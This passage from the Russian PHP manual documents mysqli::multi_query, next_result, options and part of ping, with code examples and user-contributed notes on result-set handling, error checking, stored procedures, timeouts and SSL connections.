Для запросов, которые производят набор результатов, таких как SELECT, SHOW, DESCRIBE или EXPLAIN, mysqli_use_result() или mysqli_store_result() может использоваться для получения набора результатов. Для запросов, которые не производят набор результатов, те же функции могут использоваться для получения информации, такой как количество затронутых строк.

Подсказка

Выполнение запросов CALL для хранимых процедур может дать несколько наборов результатов. Если хранимая процедура содержит запросы SELECT, наборы результатов возвращаются в том порядке, в котором они создаются при выполнении процедуры. В общем, вызывающая функция не может знать, сколько наборов результатов вернёт процедура, и должна быть готова получить несколько результатов. Конечный результат процедуры - это результат статуса, который не включает набор результатов. Статус показывает, была ли процедура успешной или произошла ошибка.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

query

Строка, содержащая запросы, которые нужно выполнить. Несколько запросов следует разделять точкой с запятой.

Возвращаемые значения

Возвращает false, если первое выражение вызвало ошибку. Чтобы получить доступ к ошибкам остальных подзапросов, нужно сначала вызвать функцию mysqli_next_result().

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::multi_query()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* выполнение нескольких запросов */
$mysqli->multi_query($query);
do {
/* сохранить набор результатов в PHP */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
printf("%s\n", $row[0]);
}
}
/* вывести разделитель */
if ($mysqli->more_results()) {
printf("-----------------\n");
}
} while ($mysqli->next_result());

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* выполнение нескольких запросов */
mysqli_multi_query($link, $query);
do {
/* сохранить набор результатов в PHP */
if ($result = mysqli_store_result($link)) {
while ($row = mysqli_fetch_row($result)) {
printf("%s\n", $row[0]);
}
}
/* вывести разделитель */
if (mysqli_more_results($link)) {
printf("-----------------\n");
}
} while (mysqli_next_result($link));

Результатом выполнения данных примеров будет что-то подобное:

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

Смотрите также

  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_next_result() - Подготовка следующего доступного результирующего набора из multi_query
  • mysqli_more_results() - Проверка, есть ли ещё результаты в мультизапросе

User Contributed Notes

ashteroid 08-Aug-2020 10:57
To get the affected/selected row count from all queries

$q = "UPDATE `Review` SET `order` = 1 WHERE id = 600;" // aff 1
       .  "UPDATE `Review` SET `order` = 600 WHERE id = 1;" //aff 1
    . "SELECT 0;" //for testing, aff rows == -1
                    ;

    $affcnt = 0;
    $rowcnt = 0;

    $res = $db->multi_query($q);
    if($res == false)
        Lib::throw( $q . "\n[" . $db->errno . "]\n" . $db->error . "\n" );
    do
    {
        $affcnt += $db->affected_rows;
        if( isset($res->num_rows) )
            $rowcnt += $res->num_rows;
    }
    while( $db->more_results() && $res = $db->next_result() );
    //IMPORTANT: call more_results First!, THEN next_result to get new data.

    return $res;
ASchmidt at Anamera dot net 31-Mar-2018 12:40
Multi-queries open the potential for a SQL injection.

The often cited "fallback" loop:

<?php
while ( $db->more_results() and $db->next_result() ) {
  $rs = $db->use_result();
  if( $rs instanceof \mysqli_result ) {
      $rs->free();
}
?>

certainly will avoid the dreaded error 2014 "Commands out of sync; you can't run this command now" error. However, that technique will completely disregard the fact that any excess result sets are a likely indication of an infiltrated system.

Instead, it may be wise to tightly manage the correct number of expected, individual result sets and throw an exception of more are received.

However, it's important to understand that any closing comment (which might have been appended as one defense against command appending) will result in an EXTRA, EMPTY result set.

Example:

SELECT SQL_CALC_FOUND_ROWS * FROM `table` LIMIT 10; SELECT FOUND_ROWS(); --

will produce THREE result sets:

#1 - the ten data rows,
#2 - the overall row count,
#3 - an empty result set, where: FALSE === $db->use_result(), even though it had been TRUE === ($db->more_results() and $db->next_result() ) .
Stjepan Brbot 27-Jul-2016 11:12
This example shows how to read data from multiple stored procedures. Here I have two stored procedures proc1() and proc2() and retrieve their data into 2D array:

<?php

$db=new mysqli(...);

$sql="CALL proc1(...); CALL proc2(...);";

$procs=[]; //outer array for resultsets (tables)
$cols=[]; //inner array for columns (fields)

if($db->multi_query($sql))
{
  do
  {
    $db->next_result();
    if($rst=$db->use_result())
    {
      while($row=$rst->fetch_row())
      {
          $cols[]=$row[0]; //fetch 1st column value
          $cols[]=$row[1]; //fetch 2nd column value
      }
      $procs[]=$cols; //add cols to procedures array
    }
  }
  while($this->db->more_results());
}

?>
jesper at hermandsen dot dk 29-Dec-2014 01:46
If you're importing a sql-file with triggers, functions, stored procedures and other stuff, you'll might be using DELIMITER in MySQL.
Notice: This function assumes that all delimiters are on it's own line, and that "DELIMITER" are in all caps.

<?php
function mysqli_multi_query_file($mysqli, $filename) {
    $sql = file_get_contents($filename);
    // remove comments
    $sql = preg_replace('#/\*.*?\*/#s', '', $sql);
    $sql = preg_replace('/^-- .*[\r\n]*/m', '', $sql);
    if (preg_match_all('/^DELIMITER\s+(\S+)$/m', $sql, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
        $prev = null;
        $index = 0;
        foreach ($matches as $match) {
            $sqlPart = substr($sql, $index, $match[0][1] - $index);
            // move cursor after the delimiter
            $index = $match[0][1] + strlen($match[0][0]);
            if ($prev && $prev[1][0] != ';') {
                $sqlPart = explode($prev[1][0], $sqlPart);
                foreach ($sqlPart as $part) {
                    if (trim($part)) { // no empty queries
                        $mysqli->query($part);
                    }
                }
            } else {
                if (trim($sqlPart)) { // no empty queries
                    $mysqli->multi_query($sqlPart);
                    while ($mysqli->next_result()) {;}
                }
            }
            $prev = $match;
        }
        // run the sql after the last delimiter
        $sqlPart = substr($sql, $index, strlen($sql)-$index);
        if ($prev && $prev[1][0] != ';') {
            $sqlPart = explode($prev[1][0], $sqlPart);
            foreach ($sqlPart as $part) {
                if (trim($part)) {
                    $mysqli->query($part);
                }
            }
        } else {
            if (trim($sqlPart)) {
                $mysqli->multi_query($sqlPart);
                while ($mysqli->next_result()) {;}
            }
        }
    } else {
        $mysqli->multi_query($sql);
        while ($mysqli->next_result()) {;}
    }
}
?>
levani0101 at yahoo dot com 05-Jul-2014 10:37
Please note that there is no need for the semicolon after the last query. That wasted more than hour of my time...
vicky dot gonsalves at outlook dot com 05-Mar-2014 10:29
Following code can be used to resolve
mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

        $query = "SELECT SOME_COLUMN FROM SOME_TABLE_NAME;";
        $query .= "SELECT SOME_OTHER_COLUMN FROM SOME_TABLE_NAME";
        /* execute multi query */
        if (mysqli_multi_query($this->conn, $query)) {
            $i = true;
            do {
                /* store first result set */
                if ($result = mysqli_store_result($this->conn)) {
                    while ($row = mysqli_fetch_row($result)) {
                        printf("%s\n", $row[0]);
                    }
                    mysqli_free_result($result);
                }
                /* print divider */
                if (mysqli_more_results($this->conn)) {
                    $i = true;
                    printf("-----------------\n");
                } else {
                    $i = false;
                }
            } while ($i && mysqli_next_result($this->conn));
        }
skunkbad 10-Jan-2014 08:13
I appreciate the advice from crmccar at gmail dot com regarding the proper way to check for errors, but I would get an error with his/her code. I fixed it by changing the code a little:

<?php
$sql = file_get_contents( 'sql/test_' . $id . '_data.sql');

$query_array = explode(';', $sql);

// Run the SQL
$i = 0;
if( $this->mysqli->multi_query( $sql ) )
{
    do {
        $this->mysqli->next_result();

        $i++;
    }
    while( $this->mysqli->more_results() );
}

if( $this->mysqli->errno )
{
    die(
        '<h1>ERROR</h1>
        Query #' . ( $i + 1 ) . ' of <b>test_' . $id . '_data.sql</b>:<br /><br />
        <pre>' . $query_array[ $i ] . '</pre><br /><br />
        <span style="color:red;">' . $this->mysqli->error . '</span>'
    );
}
?>
Ivan Gabriele 07-Dec-2013 04:47
To be able to execute a $mysqli->query() after a $mysqli->multi_query() for MySQL > 5.3, I updated the code of jcn50 by this one :

<?php
    // WORKING CODE:
    $mysqli->multi_query(" Many SQL queries ; "); // OK

    while ($mysqli->next_result()) // flush multi_queries
    {
        if (!$mysqli->more_results()) break;
    }

    $mysqli->query(" SQL statement #1 ; ") // now executed!
    $mysqli->query(" SQL statement #2 ; ") // now executed!
    $mysqli->query(" SQL statement #3 ; ") // now executed!
    $mysqli->query(" SQL statement #4 ; ") // now executed!
?>
keksov at gmail dot com 17-Aug-2013 06:29
If you want to create a table with triggers, procedures or functions in one multiline query you may stuck with a error -
#1064 - You have an error in your SQL syntax; xxx corresponds to your MySQL server version for the right syntax to use near 'DELIMITER' at line 1

The solution is very simple - don't use DELIMITER keyword at all! So, instead of :

DELIMITER |
CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT|
DELIMITER ;

just use :

CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT;

For more information read answers at StackOverflow for question #5311141

http://stackoverflow.com/questions/5311141/how-to-execute-mysql-command-delimiter
Lubaev K 22-Jul-2013 09:15
Use generator.
PHP 5.5.0
<?php
// Quick multiQuery func.
function multiQuery( mysqli $mysqli, $query ) {
    if ($mysqli->multi_query( $query )) {
    do {
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                foreach ($row as $key => $value) yield $key => $value;
            }
            $result->free();
        }
    } while( $mysqli->more_results() && $mysqli->next_result() );
    }
}

$query = "OPTIMIZE TABLE `question`;" .
         "LOCK TABLES `question` READ;" .
         "SELECT * FROM `question` WHERE `questionid`=2;" .
         "SELECT * FROM `question` WHERE `questionid`=7;" .
         "SELECT * FROM `question` WHERE `questionid`=8;" .
         "SELECT * FROM `question` WHERE `questionid`=9;" .
         "SELECT * FROM `question` WHERE `questionid`=11;" .
         "SELECT * FROM `question` WHERE `questionid`=12;" .
         "UNLOCK TABLES;" .
         "TRUNCATE TABLE `question`;";

$mysqli = new mysqli('localhost', 'user', 'pswd', 'dbnm');
$mysqli->set_charset("cp1251");

// result
foreach ( multiQuery($mysqli, $query) as $key => $value ) {
    echo $key, $value, PHP_EOL;
}

?>
Good luck!
miqrogroove at gmail dot com 17-Jan-2013 09:40
Here are more details about error checking and return values from multi_query().  Testing shows that there are some mysqli properties to check for each result:

affected_rows
errno
error
insert_id
warning_count

If error or errno are not empty then the remaining queries did not return anything, even though error and errno will appear to be empty if processing further results is continued.

Also note that get_warnings() will not work with multi_query().  It can only be used after looping through all results, and it will only get the warnings for the last one of the queries and not for any others.  If you need to see or log query warning strings then you must not use multi_query(), because you can only see the warning_count value.
jlong at carouselchecks dot com 24-Sep-2012 07:56
Getting "Error: Commands out of sync; you can't run this command now" after running a multi-query? Make sure you've cleared out the queue of results.

Here's what I've used to discard all subsequent results from a multi-query:

<?php
while($dbLink->more_results() && $dbLink->next_result()) {
    $extraResult = $dbLink->use_result();
    if($extraResult instanceof mysqli_result){
        $extraResult->free();
    }
}

?>
crmccar at gmail dot com 12-Oct-2011 06:40
I'd like to reinforce the correct way of catching errors from the queries executed by multi_query(), since the manual's examples don't show it and it's easy to lose UPDATEs, INSERTs, etc. without knowing it.

$mysqli->next_result() will return false if it runs out of statements OR if the next statement has an error. Therefore, it's important to check for errors when the loop ends. Also, I believe it's useful to know when and where the loop broke, so consider the following code:

<?php
$statements = array("INSERT INTO tablename VALUES ('1', 'one')", "INSERT INTO tablename VALUES ('2', 'two')");
if ($mysqli->multi_query(implode(';', $statements))) {
    $i = 0;
    do {
        $i++;
    } while ($mysqli->next_result());
}
if ($mysqli->errno) {
    echo "Batch execution prematurely ended on statement $i.\n";
    var_dump($statements[$i], $mysqli->error);
}
?>

The IF statement on the multi_query() call checks the first result, because next_result() starts at the second.
Anonymous 20-May-2011 07:25
If your second or late query returns no result or even if your query is not a valid SQL query, more_results(); returns true in any case.
jcn50 09-Mar-2011 05:09
WATCH OUT: if you mix $mysqli->multi_query and $mysqli->query, the latter(s) won't be executed!

<?php
// BAD CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
$mysqli->query(" SQL statement #1 ; ") // not executed!
$mysqli->query(" SQL statement #2 ; ") // not executed!
$mysqli->query(" SQL statement #3 ; ") // not executed!
$mysqli->query(" SQL statement #4 ; ") // not executed!
?>

The only way to do this correctly is:

<?php
// WORKING CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
while ($mysqli->next_result()) {;} // flush multi_queries
$mysqli->query(" SQL statement #1 ; ") // now executed!
$mysqli->query(" SQL statement #2 ; ") // now executed!
$mysqli->query(" SQL statement #3 ; ") // now executed!
$mysqli->query(" SQL statement #4 ; ") // now executed!
?>
luka8088 at owave dot net 20-Sep-2010 10:17
if you don't iterate through all results you get "server has gone away" error message ...

to resolve this, in php 5.2 it is enough to use

<?php
  // ok for php 5.2
  while ($mysqli->next_result());
?>

to drop unwanted results, but in php 5.3 using only this throws

mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

so it should be replaced with

<?php
  // ok for php 5.3
  while ($mysqli->more_results() && $mysqli->next_result());
?>

I also tried but failed:

<?php

  // can create infinite look in some cases
  while ($mysqli->more_results())
    $mysqli->next_result();

  // also throws error in some cases
  if ($mysqli->more_results())
    while ($mysqli->next_result());

?>
Shawn Pyle 15-Apr-2010 09:29
Be sure to not send a set of queries that are larger than max_allowed_packet size on your MySQL server. If you do, you'll get an error like:
Mysql Error (1153): Got a packet bigger than 'max_allowed_packet' bytes

To see your MySQL size limitation, run the following query: show variables like 'max_allowed_packet';

or see http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
Miles 22-Jun-2009 10:47
You can use prepared statements on stored procedures.

You just need to flush all the subsequent result sets before closing the statement... so:

$mysqli_stmt = $mysqli->prepare(....);

... bind, execute, bind, fetch ...

while($mysqli->more_results())
{
    $mysqli->next_result();
    $discard = $mysqli->store_result();
}

$mysqli_stmt->close();

Hope that helps :o)
jparedes at gmail dot com 27-Aug-2008 09:05
It's very important that after executing mysqli_multi_query you have first process the resultsets before sending any another statement to the server, otherwise your
socket is still blocked.

Please note that even if your multi statement doesn't contain SELECT queries, the server will send result packages containing errorcodes (or OK packet) for single statements.
undefined(AT)users(DOT)berlios(DOT)de 04-Mar-2008 04:13
mysqli_multi_query handles MySQL Transaction on InnoDB's :-)

<?php

$mysqli  = mysqli_connect( "localhost", "owner", "pass", "db", 3306, "/var/lib/mysql/mysql.sock" );

$QUERY = <<<EOT
START TRANSACTION;
SELECT @lng:=IF( STRCMP(`main_lang`,'de'), 'en', 'de' )
FROM `main_data` WHERE  ( `main_activ` LIKE 1 ) ORDER BY `main_id` ASC;
SELECT `main_id`, `main_type`, `main_title`, `main_body`, `main_modified`, `main_posted`
FROM `main_data`
WHERE ( `main_type` RLIKE "news|about" AND `main_lang` LIKE @lng AND `main_activ` LIKE 1 )
ORDER BY `main_type` ASC;
COMMIT;
EOT;

$query = mysqli_multi_query( $mysqli, $QUERY ) or die( mysqli_error( $mysqli ) );

if( $query )
{
  do {
    if( $result = mysqli_store_result( $mysqli ) )
    {
      $subresult = mysqli_fetch_assoc( $result );
      if( ! isset( $subresult['main_id'] ) )
        continue;

      foreach( $subresult AS $k => $v )
      {
        var_dump( $k , $v );
      }
    }
  } while ( mysqli_next_result( $mysqli ) );
}

mysqli_close( $mysqli );

?>
mjmendoza at grupzero dot tk 29-Nov-2006 10:47
I was developing my own CMS and I was having problem with attaching the database' sql file. I thought mysqli_multi_query got bugs where it crashes my MySQL server. I tried to report the bug but it showed that it has duplicate bug reports of other developers. To my surprise, mysqli_multi_query needs to bother with result even if there's none.

I finally got it working when I copied the sample and removed somethings. Here is what it looked liked

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
   printf("Connect failed: %s\n", mysqli_connect_error());
   exit();
}

$query  = "CREATE TABLE....;...;... blah blah blah;...";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = mysqli_store_result($link)) {
           //do nothing since there's nothing to handle
           mysqli_free_result($result);
       }
       /* print divider */
       if (mysqli_more_results($link)) {
           //I just kept this since it seems useful
           //try removing and see for yourself
       }
   } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

bottom-line: I think mysql_multi_query should only be used for attaching a database. it's hard to handle results from 'SELECT' statements inside a single while loop.
info at ff dot net 08-May-2006 04:02
Note that you need to use this function to call Stored Procedures!

If you experience "lost connection to MySQL server" errors with your Stored Procedure calls then you did not fetch the 'OK' (or 'ERR') message, which is a second result-set from a Stored Procedure call. You have to fetch that result to have no problems with subsequent queries.

Bad example, will FAIL now and then on subsequent calls:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);
?>

Working example:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);

if(mysqli_more_results($this->sqlLink))
  while(mysqli_next_result($this->sqlLink));
?>

Of course you can do more with the multiple results then just throwing them away, but for most this will suffice. You could for example make an "sp" function which will kill the 2nd 'ok' result.

This nasty 'OK'-message made me spend hours trying to figure out why MySQL server was logging warnings with 'bad packets from client' and PHP mysql_error() with 'Connection lost'. It's a shame the mysqli library does catch this by just doing it for you.


Подготовка следующего доступного результирующего набора из multi_query

  • « mysqli::multi_query
  • mysqli::options »
  • PHP Manual
  • mysqli
  • Подготовка следующего доступного результирующего набора из multi_query

mysqli::next_result

mysqli_next_result

(PHP 5, PHP 7, PHP 8)

mysqli::next_result -- mysqli_next_result — Подготовка следующего доступного результирующего набора из multi_query

Описание

Объектно-ориентированный стиль

public mysqli::next_result(): bool

Процедурный стиль

mysqli_next_result(mysqli $mysql): bool

Подготавливает следующий доступный результирующий набор предыдущего вызова
функции mysqli_multi_query(), который затем можно получить
функциями mysqli_store_result() или
mysqli_use_result().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Также возвращает false, если следующий оператор привёл к ошибке, в отличие от mysqli_more_results().

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Смотрите mysqli_multi_query().

Смотрите также

  • mysqli_multi_query() - Выполняет один или несколько запросов к базе данных
  • mysqli_more_results() - Проверка, есть ли ещё результаты в мультизапросе
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию

User Contributed Notes

admin at travian-utils dot com 28-Oct-2009 11:24
Stored procedures few rowset example:

some_file.php
<?php
function proc() {
  global $global;
  $db_connect_list = array('site');
  SQLinit($db_connect_list);
  if(isset($global['error'])){return;}
  SQL('CALL `procedure`();');
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLclose($db_connect_list);
}
?>

config.php
<?php
  $global['sys']['db']['site'] = array('host'=>'localhost', 'user'=>'site', 'pass'=>'');
?>

engine.php
<?php
function SQLinit($array_list){
  global $global;
  foreach($array_list as $set){
    if(!$global['sys']['db'][$set]['connect'] = mysqli_connect(
        $global['sys']['db'][$set]['host'],
        $global['sys']['db'][$set]['user'],
        $global['sys']['db'][$set]['pass'])){
      $global['error']['code'] = 500;
      $global['error']['text'] = 'Database not avaliable';
      $w=fopen('error.log','a+');
      fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
      fwrite($w,'errno: '.mysqli_connect_errno()."\r\n");
      fwrite($w,'error: '.mysqli_connect_error()."\r\n");
      fclose($w);
      return;
    }
    if(!isset($global['sys']['default_connect']))
      $global['sys']['default_connect'] = $global['sys']['db'][$set]['connect'];
    SQL('SET NAMES \'utf8\' COLLATE \'utf8_unicode_ci\';', $global['sys']['db'][$set]['connect']);
    SQL('SET CHARACTER SET \'utf8\';', $global['sys']['db'][$set]['connect']);
    SQL('SET character_set_connection = \'utf8\';', $global['sys']['db'][$set]['connect']);
  }
}
function mTime(){
  list($usec, $sec) = explode(" ", microtime());
  return ((float)$usec+(float)$sec);
}
function SQL($sql, $connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  while ($connect->next_result()) $connect->store_result();
  $begin=mTime();
  $global['result']=mysqli_query($connect, $sql);
  $end=mTime();
  $global['sys']['time_sql']+=$end-$begin;
  $error=mysqli_error($connect);
  if($error!=''){
    $global['error']['code'] = 502;
    $global['error']['text'] = 'SQL error';
    $global['error']['sql'] = true;
    $w=fopen('error.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'errno: '.mysqli_errno($connect)."\r\n");
    fwrite($w,'error: '.$error."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }else{
    $w=fopen('sql.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }
}

function SQLnext($connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  $connect->next_result();
  $global['result'] = $connect->store_result();
}

function SQLclose($array_list){
  global $global;
  foreach($array_list as $set){
    mysqli_close($global['sys']['db'][$set]['connect']);
  }
}
?>
pawel dot barcik at gmail dot com 21-Jun-2008 05:26
this function returns FALSE when you have an error in your syntax in one of your queries, so be carefull with this type of construction when tracking errors:

<?php

//error in the second sub query
$result = $db->multi_query("select * from news; seleeeeeeect id from news; update news set title='new title' where id= 12 ");

//code inside object class
$this->_db = new Mysqli($host, $user, $password, $database, $port, $socket);

do {
    $result = $this->_db->store_result();
    $this->_resultMulti[] = $result;
    $this->_errnoMulti[] = $this->_db->errno;

    if(is_object($result)) {
        $result->free_result();
    }

} while($this->_db->next_result());

?>

in this construction all you have in the $this->_errnoMulti is :

array(1) {
  [0]=>
  int(0)
}

which means that there are no errors if you are not checking how many queries are executed!


Установка настроек

  • « mysqli::next_result
  • mysqli::ping »
  • PHP Manual
  • mysqli
  • Установка настроек

mysqli::options

mysqli_options

(PHP 5, PHP 7, PHP 8)

mysqli::options -- mysqli_options — Установка настроек

Описание

Объектно-ориентированный стиль

public mysqli::options(int $option, string|int $value): bool

Процедурный стиль

mysqli_options(mysqli $mysql, int $option, string|int $value): bool

Используется для установки дополнительных настроек соединения и поведения подключения к базе данных.

Эту функцию можно вызывать неоднократно, чтобы задать несколько настроек.

mysqli_options() нужно вызывать после
mysqli_init() и перед
mysqli_real_connect().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

option

Настройка, которую требуется установить. Это может быть одно из следующих значений:

Допустимые настройки
Имя | Описание
MYSQLI_OPT_CONNECT_TIMEOUT | Время ожидания соединения в секундах
MYSQLI_OPT_READ_TIMEOUT | Время ожидания результата выполнения команды в секундах. Доступно с PHP 7.2.0.
MYSQLI_OPT_LOCAL_INFILE | Включение/выключение LOAD LOCAL INFILE
MYSQLI_INIT_COMMAND | Команда, которую требуется выполнить сразу после подключения к серверу MySQL
MYSQLI_SET_CHARSET_NAME | Кодировка, которая будет установлена по умолчанию.
MYSQLI_READ_DEFAULT_FILE | Читать настройки из именованного файла вместо my.cnf Не поддерживается mysqlnd.
MYSQLI_READ_DEFAULT_GROUP | Читать настройки из именованной группы в файле my.cnf или другом файле, заданным настройкой MYSQL_READ_DEFAULT_FILE. Не поддерживается mysqlnd.
MYSQLI_SERVER_PUBLIC_KEY | Файл публичного ключа RSA для авторизации на базе SHA-256.
MYSQLI_OPT_NET_CMD_BUFFER_SIZE | Размер внутреннего командного/сетевого буфера. Работает только с mysqlnd.
MYSQLI_OPT_NET_READ_BUFFER_SIZE | Максимальный размер блока для чтения в байтах при чтении командного пакета MySQL. Работает только с mysqlnd.
MYSQLI_OPT_INT_AND_FLOAT_NATIVE | Преобразовывает столбцы типов integer и float к числам PHP, а не строкам. Работает только с mysqlnd.
MYSQLI_OPT_SSL_VERIFY_SERVER_CERT | Проверять сертификат сервера или нет.

value

Значение настройки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Смотрите mysqli_real_connect().

Примечания

Замечание:

MySQLnd всегда подразумевает кодировку, которую использует по умолчанию сервер. Эта кодировка передаётся во время установки соединения/авторизации, которые использует mysqlnd.

Libmysqlclient по умолчанию использует кодировку, установленную в файле my.cnf или явным вызовом функции mysqli_options() до вызова функции mysqli_real_connect(), но после вызова функции mysqli_connect().

Смотрите также

  • mysqli_init() - Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()
  • mysqli_real_connect() - Устанавливает соединение с сервером mysql

User Contributed Notes

Guy Sartorelli 18-May-2023 02:17
The `MYSQLI_OPT_SSL_VERIFY_SERVER_CERT` seems to always fail, with `options()` always returning false.
Use the `MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT` flag with `real_connect()` instead.
puneetsharam9 at hotmail dot com 08-Sep-2022 05:35
With Objective Approach
init of mysqli is depreciated from 8.1 it seem so
You could have to use an empty __construct()
So You have proper int and float

class DB extends \mysqli {
   private function __construct(
           private $_user = DBUSER,
           private $_pass = DBPWD,
           private $_dbName = DBNAME,
           private $_dbHost = DBHOST,
   ) {
      parent::__construct();
      parent::options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
      parent::real_connect($this->_dbHost, $this->_user, $this->_pass, $this->_dbName);
      }
   }
Procedural Man 27-Jan-2022 02:59
Although it is not explained on the manual, MYSQLI_OPT_SSL_VERIFY_SERVER_CERT is an option only valid for mysqlnd and will raise an error if used with mysqli.
php at darkain dot com 20-Jul-2018 10:14
There is an undocumented option: MYSQLI_OPT_READ_TIMEOUT. This is similar to MYSQLI_OPT_CONNECT_TIMEOUT in theory, but has a slightly different application. Connection timeout only specifies the wait time for the initial TCP connection. Once that is created, the timeout no longer applies. Read timeout, however, is from the time the TCP connection is created until the first packet of actual data is received. There are instances where a TCP connection can be established, but the MySQL server stalls indefinitely, preventing execution from ever returning to PHP. Specifying a read timeout alleviates this condition, whereas connect timeout wouldn't.

If the MYSQLI_OPT_READ_TIMEOUT constant isn't defined, it is still supported on versions where that isn't the case. You can define it yourself in older PHP versions with the following code.

<?php
if (!defined('MYSQLI_OPT_READ_TIMEOUT')) {
    define ('MYSQLI_OPT_READ_TIMEOUT', 11);
}
?>

You can then use read timeout the same way you could a connect timeout as follows. Please note that since these are two different timeout values for two different parts of the entire connection process, the timeouts do stack (eg: 10 seconds connect timeout + 10 seconds read timeout = maximum possible timeout of 20 seconds)

<?php
//create the object
$connection = mysqli_init();

//specify the connection timeout
$connection->options(MYSQLI_OPT_CONNECT_TIMEOUT, 10);

//specify the read timeout
$connection->options(MYSQLI_OPT_READ_TIMEOUT, 10);

//initiate the connection to the server, using both previously specified timeouts
$connection->real_connect('server', 'user', 'pass', 'database');
?>
king at bobfish dot org 14-Feb-2008 12:05
Example on using mysqli_options to increase size of max_allowed_packet for working with big blobs.

function dbConnect()
{
   $user = 'jomama';
   $pass = 'cartoon';
   $dbName = 'LifeCycle';
   $host = 'localhost';

   $mysqli = mysqli_init();
   mysqli_options($mysqli,MYSQLI_READ_DEFAULT_GROUP,
                                    "max_allowed_packet=50M");
   mysqli_real_connect($mysqli,$host, $user, $pass,$dbName)
                  or die ('<P>Unable to connect</P>');

   return $mysqli;
}
fluppy 07-Mar-2007 02:46
Here es little example to create a SSL Connection

<?php

$db = mysqli_init();

/*
When you want so use a separate cnf
$test = $db->options(MYSQLI_EAD_DEFAULT_FILE,'myother.cnf');
*/

$db->ssl_set('server-key.pem','server-cert.pem',
'cacert.pem',NULL,NULL);

$db->real_connect('localhost','root','','mydb');

//Here some query

$db->close();

?>


Проверяет работоспособность соединения или пытается переподключиться, если соединение разорвано

  • « mysqli::options
  • mysqli::poll »
  • PHP Manual
  • mysqli
  • Проверяет работоспособность соединения или пытается переподключиться, если соединение разорвано

mysqli::ping

mysqli_ping

(PHP 5, PHP 7, PHP 8)

mysqli::ping -- mysqli_ping — Проверяет работоспособность соединения или пытается переподключиться, если соединение разорвано

Описание

Объектно-ориентированный стиль

public mysqli::ping(): bool

Процедурный стиль

mysqli_ping(mysqli $mysql): bool

Проверяет работоспособность соединения с сервером. Если соединение разорвано, а глобальная настройка mysqli.reconnect включена, PHP попытается автоматически переподключиться.

Замечание: Настройка php.ini mysqli.reconnect игнорируется драйвером "mysqlnd", так что автоматического переподключения не произойдёт.

